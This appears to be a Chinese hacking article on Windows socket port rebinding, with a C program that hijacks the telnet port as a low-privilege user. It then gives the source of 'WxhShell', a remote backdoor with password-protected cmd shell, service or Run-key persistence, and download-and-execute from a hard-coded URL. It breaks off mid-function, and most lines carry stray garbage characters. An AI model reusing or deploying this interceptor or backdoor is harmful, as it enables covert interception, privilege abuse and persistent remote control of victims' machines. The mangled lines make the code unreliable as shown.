在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
&NB[:S= s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Ub4j3` maXQG&.F saddr.sin_family = AF_INET;
2{|
U L&. 9.Ll saddr.sin_addr.s_addr = htonl(INADDR_ANY);
WSW aq\9]8 xzAyE5GL> bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
%dhnp9' QE m6#y 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
z;2kKQZm F3;UH%L1 这意味着什么?意味着可以进行如下的攻击:
<vhlT#p
gR?=z}`@p 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
u\Tq5PYXt NcwZ_*sqj 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
`G@]\)-! #q6jE 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
3K_J"B*7 PZ
AyHXY 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
*)T},|Gc 3tA6r 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
QZYD;&iY& B24wn8< 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
:-69,e ri.;& 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
wHEt;rc( X8GIRL)lJ #include
DrC4oxS 1 #include
BwEO2a{ #include
oDrfzm|[Y #include
W{*U#:Jx1 DWORD WINAPI ClientThread(LPVOID lpParam);
Cz#0Gh>1 int main()
J)"2^?!&B {
4`7N}$j#, WORD wVersionRequested;
ToTehVw DWORD ret;
}} J?, >g WSADATA wsaData;
O>IY<]x>L BOOL val;
LD0x 4zm$m SOCKADDR_IN saddr;
SRRqIQz SOCKADDR_IN scaddr;
Wj(O_2
int err;
9i;%(b{ SOCKET s;
RpOGY{[)[ SOCKET sc;
P\pHos int caddsize;
J NPEyC HANDLE mt;
!9_HZ(W& DWORD tid;
X3-pj<JLY wVersionRequested = MAKEWORD( 2, 2 );
^KM' O8 err = WSAStartup( wVersionRequested, &wsaData );
mCb(B48]%X if ( err != 0 ) {
G%jgr"]\z printf("error!WSAStartup failed!\n");
KLBU8% return -1;
#^|y0:
}
|-a5|3 saddr.sin_family = AF_INET;
3CL/9C> ;wK; //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
,&e0~ WYSqnmi saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
X ^8@T saddr.sin_port = htons(23);
Fku~'30 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Q,9"/@:c, {
r'/&{?Je/ printf("error!socket failed!\n");
qIS9.AL return -1;
mvgsf(a*' }
#.L9/b(
val = TRUE;
(H5nz': //SO_REUSEADDR选项就是可以实现端口重绑定的
3`.*~qW if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
CT1@J-np {
b+Sq[ printf("error!setsockopt failed!\n");
o&0fvCpW return -1;
[U]^:sV) }
E6JfSH# //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
>9dzl# //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
bi/ AQ^ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
i^T@jg+K diHK if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
(KxI* {
0Xo>f"2<f ret=GetLastError();
2 tD{c^
9< printf("error!bind failed!\n");
Iue}AGxu:{ return -1;
,2oF t\`.r }
V6Z~#=EQ listen(s,2);
#O 2g]YH while(1)
M^IEu} {
X})5XYvA* caddsize = sizeof(scaddr);
cD.afy //接受连接请求
Znr6,[U+q sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
# dA9v7 if(sc!=INVALID_SOCKET)
WbJ|]}hJ\ {
BOt1J_;(rO mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
CWT#1L= if(mt==NULL)
]#k=VKdV {
GmhfBW? printf("Thread Creat Failed!\n");
T*o!#E. break;
B7x(<!B }
M>qqe! c* }
'Em3;`/C*+ CloseHandle(mt);
.A6D&-&z }
S)LvYOOB@ closesocket(s);
R7\T.;8+ WSACleanup();
Nk63F&J7e return 0;
AQ%B&Q(V1 }
W&~\@j]!D DWORD WINAPI ClientThread(LPVOID lpParam)
Xwp6]lx {
n(uzqd SOCKET ss = (SOCKET)lpParam;
TWSqn'<E SOCKET sc;
b :WA}x V unsigned char buf[4096];
r4 $<,~ SOCKADDR_IN saddr;
>\br8=R long num;
$^:s)Yv DWORD val;
#| pn,/ DWORD ret;
2dsXG$-W2 //如果是隐藏端口应用的话,可以在此处加一些判断
?e{hidg //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Ab
#}BHI saddr.sin_family = AF_INET;
]l7 r M" saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
&]"Z x0t5% saddr.sin_port = htons(23);
;!S i_b2 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
z:^(#G{ {
;
,Nvg6c printf("error!socket failed!\n");
YsO3( HS return -1;
n'To: }
hbdB67, val = 100;
r2%Qk if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{S@gjMuN {
B?%e-xV- ret = GetLastError();
S
awf]/ return -1;
\G0YLV~>P }
oeYUsnsbi if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
M3U?\g {
HTLS$o;Q ret = GetLastError();
){LU>MW{& return -1;
B/*\Ih9y }
;V?3Hwl if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
?[]jJ {
*ESi~7;# printf("error!socket connect failed!\n");
X2|&\G9c
closesocket(sc);
}Ug$d>\ closesocket(ss);
XXw>h4hl return -1;
1Ep7CV-n} }
wg+[T;0 S while(1)
;m=k
FZ? {
\_(|$Dhq //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
shD4";8*@ //如果是嗅探内容的话,可以再此处进行内容分析和记录
C#V_Gb //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
J`4V\D}n num = recv(ss,buf,4096,0);
Co,?<v=Ll if(num>0)
Dz,|sHCmk send(sc,buf,num,0);
'rNLh3 else if(num==0)
[b+B"f6 break;
QFK'r\3pU num = recv(sc,buf,4096,0);
ev#/v:$? if(num>0)
:IX,mDO send(ss,buf,num,0);
8=@f lK else if(num==0)
riF-9
%i break;
Kum" }ux }
t3 3\f<e closesocket(ss);
}vU^gPH closesocket(sc);
`z`=!1 return 0 ;
I s|_ }
~|[i64V<^ qpQiMiB#g' r0wAh/J| ==========================================================
GTi=VSGqF 0dIGX |e 下边附上一个代码,,WXhSHELL
'0^lMQMg Lf:#koaC ==========================================================
uaYI3w@^ beBv|kI4 #include "stdafx.h"
DQ}&J P1z:L #include <stdio.h>
r:PYAb=g #include <string.h>
yRi5t{!V #include <windows.h>
WZn"I&Z #include <winsock2.h>
*Kpw@4G #include <winsvc.h>
z0x^HDAeC #include <urlmon.h>
qfdL *D CfO{KiM(2 #pragma comment (lib, "Ws2_32.lib")
WL|71?@C #pragma comment (lib, "urlmon.lib")
W0;QufV Xq_hC"s #define MAX_USER 100 // 最大客户端连接数
n^rbc;} #define BUF_SOCK 200 // sock buffer
r"7PSJ #define KEY_BUFF 255 // 输入 buffer
j >`FZKxp Xgl
%2' #define REBOOT 0 // 重启
$2Awp@j #define SHUTDOWN 1 // 关机
mML B?I W9{;HGWS #define DEF_PORT 5000 // 监听端口
q Y!LzKM0 Q"Exmn3p #define REG_LEN 16 // 注册表键长度
}8ESp3~e_ #define SVC_LEN 80 // NT服务名长度
tKeozV[V RameaFX8 // 从dll定义API
_dECAk
&b typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
C8i4z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
aK(e%Ed t" typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
\ KsKb0sM typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
`9k\~D=D~ unRFcjEa // wxhshell配置信息
1NG[ struct WSCFG {
ks69Z|D int ws_port; // 监听端口
M04u>|
, char ws_passstr[REG_LEN]; // 口令
[h_d1\ Cr int ws_autoins; // 安装标记, 1=yes 0=no
/cVZ/" char ws_regname[REG_LEN]; // 注册表键名
?=1i:h char ws_svcname[REG_LEN]; // 服务名
)Jw$&%/{1 char ws_svcdisp[SVC_LEN]; // 服务显示名
mwn$ey&QE char ws_svcdesc[SVC_LEN]; // 服务描述信息
;\f0II3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
&_s^C?x int ws_downexe; // 下载执行标记, 1=yes 0=no
,,1y0s0` char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
6ZwQ/~7H char ws_filenam[SVC_LEN]; // 下载后保存的文件名
dtjb(*x /1m+iM^V };
!HtW~8|: |Bv,*7i& // default Wxhshell configuration
]dV$H struct WSCFG wscfg={DEF_PORT,
XF>!~D "xuhuanlingzhe",
Ji1# >;& 1,
(WP^}V5 "Wxhshell",
O2f-{jnTz, "Wxhshell",
* *oDQwW]* "WxhShell Service",
w_;$ahsu~ "Wrsky Windows CmdShell Service",
~ 588md : "Please Input Your Password: ",
.]a`-Ofn 1,
Eg2SC? 5 "
http://www.wrsky.com/wxhshell.exe",
1. <g C "Wxhshell.exe"
&T ^bv*P };
]l3Y=Cl E70o nR!i // 消息定义模块
^; }Y ZBy char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
>5TXLOYZ char *msg_ws_prompt="\n\r? for help\n\r#>";
*.VNyay char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
~]9EhC'l char *msg_ws_ext="\n\rExit.";
0QW;=@)d char *msg_ws_end="\n\rQuit.";
Ls3r( Tf char *msg_ws_boot="\n\rReboot...";
)T&r770 char *msg_ws_poff="\n\rShutdown...";
V&/Cb&~Uw char *msg_ws_down="\n\rSave to ";
Mhb~wDQl :~ 	 char *msg_ws_err="\n\rErr!";
: w>R|] char *msg_ws_ok="\n\rOK!";
ELg$tc g706*o)h char ExeFile[MAX_PATH];
,g3n/'rP% int nUser = 0;
'F:Tv[qx HANDLE handles[MAX_USER];
L$"pk{' int OsIsNt;
h&!$ `) 1zCgPiAem SERVICE_STATUS serviceStatus;
P?jI:'u!R. SERVICE_STATUS_HANDLE hServiceStatusHandle;
m,6[; `D$RL*C;M` // 函数声明
o{l]n* int Install(void);
|TF6&$>d int Uninstall(void);
V@EyU/VJ int DownloadFile(char *sURL, SOCKET wsh);
\JCpwNT{P int Boot(int flag);
*Uf>Xr& void HideProc(void);
l&mY}k int GetOsVer(void);
%WX^']p int Wxhshell(SOCKET wsl);
Zw<<p|{)< void TalkWithClient(void *cs);
6TXTJ]er int CmdShell(SOCKET sock);
3;!!`R>e int StartFromService(void);
a1Q W0d int StartWxhshell(LPSTR lpCmdLine);
sv#b5,>9 nyOmNvZf VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VCIV*5
P VOID WINAPI NTServiceHandler( DWORD fdwControl );
m& D#5C 23a:q{R // 数据结构和表定义
\>{;,f SERVICE_TABLE_ENTRY DispatchTable[] =
ZqjLZ9?q {
Q~rE+?n9F {wscfg.ws_svcname, NTServiceMain},
Pmd5P:n*, {NULL, NULL}
8_O?#JYi };
?N@[R]; ~8-xj6^ // 自我安装
0h{&k7T<7 int Install(void)
P{: 5i%qC {
UgZL<} char svExeFile[MAX_PATH];
hrXk 7}9 HKEY key;
cJM.Q_I}Y strcpy(svExeFile,ExeFile);
]*Kv[%r07c k/BlkjlNE // 如果是win9x系统,修改注册表设为自启动
YlR9
1LX if(!OsIsNt) {
[| N73m,& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
jw0wR\1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
CW.T`F RegCloseKey(key);
::-*~CH) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[N<rPHT RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
}'n]C| gZ RegCloseKey(key);
EW+QVu@ return 0;
WSGho(\ }
.Sv/0&O }
GLMpWD`Wo }
,3!4
D^ else {
fX>y^s?y aY6F4,7/B // 如果是NT以上系统,安装为系统服务
NYzBfL
x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
&VG if (schSCManager!=0)
\eRct_ {
c:
(nlYZ SC_HANDLE schService = CreateService
6` Aw!&{ (
O]Yz7 schSCManager,
3.KNAObO wscfg.ws_svcname,
Q\btl/? wscfg.ws_svcdisp,
$\M];S=CY SERVICE_ALL_ACCESS,
,R-aO= % SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
agQDd8 oX SERVICE_AUTO_START,
k~,
k@mR SERVICE_ERROR_NORMAL,
$I4Wl:(~} svExeFile,
-zI9E!24 NULL,
;kT~&.,y NULL,
.1_kRy2*. NULL,
v2="j NULL,
@rF|WT NULL
xJA{Hws );
z<.?8bd if (schService!=0)
3e1P!^'\ {
^`Hb7A(
CloseServiceHandle(schService);
Z9Z\2t CloseServiceHandle(schSCManager);
BO%'/2eV strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
QX-n l~ strcat(svExeFile,wscfg.ws_svcname);
k|U2Mp if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
2.MY8}&WBu RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
7:<A_OLi RegCloseKey(key);
HV*;Yt return 0;
G.PRPl }
NOKU2d4 G }
<Y$(
lszT CloseServiceHandle(schSCManager);
0sTR`Xk }
Xg*](>/\, }
q%dbx:y# [+!&iN return 1;
qB&Je$_uh }
o^m?w0 \ |68k9rq // 自我卸载
5HIQw9g6 int Uninstall(void)
B-PX/Q {
Q|e-)FS) HKEY key;
"\=Phqw ^)(tO$S if(!OsIsNt) {
m;t&P58f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
TwI'XMO;A RegDeleteValue(key,wscfg.ws_regname);
q'TIN{\.{ RegCloseKey(key);
PTqia! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
r4<aEj;l RegDeleteValue(key,wscfg.ws_regname);
DuIXv7"[ RegCloseKey(key);
Hmnxmgx return 0;
VqxK5 }
> >KCd }
76KNgV)3 }
O;|Cu7WU else {
{8oGWQgrj xc\zRsY` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
P{yb%@I~J if (schSCManager!=0)
CPMGsW^ {
'2ZvK SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
-4zV
yW
S< if (schService!=0)
4 Tw~4b {
&/WE{W if(DeleteService(schService)!=0) {
>P&1or)e% CloseServiceHandle(schService);
5t"FNL
<(M CloseServiceHandle(schSCManager);
_(I6o return 0;
!a-B=pn!] }
:2&"ak>N CloseServiceHandle(schService);
Poa&htxe1 }
RS
l*u[fB CloseServiceHandle(schSCManager);
[[zNAq)" }
-
l^3>!MAM }
:tI
F*pC :O$bsw:3w< return 1;
H-U_ }
&i.sSqSI5 D79:L: // 从指定url下载文件
RtzSe$O int DownloadFile(char *sURL, SOCKET wsh)
%^vT7c> {
n|LpM . HRESULT hr;
TlRc8r| char seps[]= "/";
@NqwJ.%g char *token;
GNe^~ char *file;
"Y=`w,~~ char myURL[MAX_PATH];
\Z&Nd;o char myFILE[MAX_PATH];
qc5[e fe,6YXUf strcpy(myURL,sURL);
^B%=P token=strtok(myURL,seps);
(6Z^0GL while(token!=NULL)
?1a9k@[t {
[nP s file=token;
%0N
HU`j token=strtok(NULL,seps);
>( [,yMIY }
-p.\fvip fyA-*)oHv GetCurrentDirectory(MAX_PATH,myFILE);
E3]WRF;l strcat(myFILE, "\\");
7K:V<vX5 strcat(myFILE, file);
+8T^q, send(wsh,myFILE,strlen(myFILE),0);
X3X_=qzc send(wsh,"...",3,0);
LzNfMvh hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
?!6Itkg if(hr==S_OK)
@XV&^l- return 0;
Qop,~yK else
,7]hjf_h return 1;
*_o(~5w-K I}3F'}JV< }
e12QYoh pB8D // 系统电源模块
IrqM_OjC int Boot(int flag)
,T<JNd' {
R=lw}jH [Z HANDLE hToken;
zqo0P~ TOKEN_PRIVILEGES tkp;
?<TJ}("/ /[.V( K
D if(OsIsNt) {
h@!p:] OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
At4\D+J{Vs LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
<f>w"r tkp.PrivilegeCount = 1;
{E:` tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
]VRa4ZB{u AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
SG&,o=I$ if(flag==REBOOT) {
L(VFzPkY% if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
>+P}S@ return 0;
D}98ZKi }
49~d6fH else {
$Es\ld if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
(?7=,A7^ return 0;
X8$Mzeq }
*9^8NY] }
h|CZ~ else {
I)Xf4FS@ if(flag==REBOOT) {
Q&eyqk if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
tDX&